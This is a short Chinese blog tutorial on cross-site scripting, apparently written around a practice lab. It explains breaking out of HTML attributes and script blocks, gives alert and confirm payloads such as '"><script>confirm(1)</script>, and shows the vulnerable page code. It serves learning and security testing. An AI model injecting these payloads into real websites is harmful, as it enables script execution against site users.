Web渗透测试之XSS跨站脚本之JS输出 以及 什么是闭合标签 一篇文章给你说明白

目录

闭合标签

XSS之js输出


闭合标签

  • 封闭标签 达到 让标签值不当成 一个属性值来展示 从而达到xss注入的效果

XML 复制代码
'"> 为了想办法闭合前面的标签,不用也行成功率高一些
攻击方法 '"><script>confirm(1)</script>,
  • 其中 '"> 我们称之为完成闭合符号,后面跟script标签来进行攻击,弹出了窗口表示我们的js代码被执行了。

  • 触发JS代码 生成XSS攻击


XSS之js输出

这个方式还是需要采用闭合的方式来进行使用 引号 闭合</script>

XML 复制代码
'</script><script>alert('this is my order')</script>>
复制代码
也就是在页面上输出 输出到js代码页面中去了 在js代码中执行
  • 查看页面源代码在查看js代码执行
  • 把前面的闭合 后面构造自己的js
XML 复制代码
<script>
    $ms=''</script><script>alert('this is my order')</script>>';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }

相关推荐
小赵同学WoW12 小时前
1-3 `boolean` 与字面量类型
前端
福大大架构师每日一题12 小时前
agno v2.9.0发布:身份感知调度、缓存隔离、安全加固与组件重建全面升级
安全·缓存
光影少年12 小时前
react navite 长列表优化:FlatList / SectionList 原理与优化属性
前端·react native·react.js
cindershade12 小时前
鼠标 3D 倾斜卡片
前端
wordbaby12 小时前
从双端内卷到一库多端:基于 pnpm + Taro 4 + RNOH 鸿蒙的 Monorepo 跨端架构实战
前端·微信小程序·app
子兮曰12 小时前
DeepSeek Harness 架构深潜:一个把 Agent 运行时做成纯插件树的开源 Harness
前端·后端·deepseek
子兮曰13 小时前
AI Agent 完整入门指南:从 LLM 到生产落地的 30+ 个核心概念
前端·后端·agent
三十而立洋13 小时前
Promise到底是什么、怎么用
javascript
楚宝ovo13 小时前
新增一个 demo 子应用 - 微前端
前端